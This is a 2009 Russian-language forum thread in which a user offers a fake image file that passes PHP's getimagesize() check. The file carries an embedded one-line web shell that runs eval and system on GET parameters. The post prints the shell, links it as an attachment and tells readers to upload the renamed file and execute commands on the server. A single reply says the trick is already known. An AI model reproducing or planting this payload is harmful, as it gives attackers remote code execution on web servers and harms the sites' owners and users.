Эксплойт getimagesize()

Discussion in 'PHP' started by -Hormold-, 25 Mar 2009.

  1. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    Сделал интересную "картинку", обходящую функцию getimagesize().
    В чём идея?
    В том, что этой ф-ции чихать на расширение файла - она проверяет только тип и размер картинки, следовательно, можно загрузить картинку переименованную в php и функция не выругается. При том, что "картинка" выглядит очень похоже на нормальную картинку - это не мешает ей содержать

    PHP:
    <? eval(stripslashes($_GET['c'])); system($_GET['s']); ?>

    Загружаем переименованную в php эту картинку и выполняем свой код и команды на сервере. Если не открыть картинку блокнотом - выглядит очень правдоподобно.


    Баг найден Eugen'ом с tem.dp.ua
     

    Attached Files:

    • hack.rar
      File size:
      503 bytes
      Views:
      239
    1 person likes this.
  2. D Mak

    D Mak Elder - Старейшина

    Joined:
    23 Jun 2007
    Messages:
    136
    Likes Received:
    27
    Reputations:
    0
    вродь как баян уже
    http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/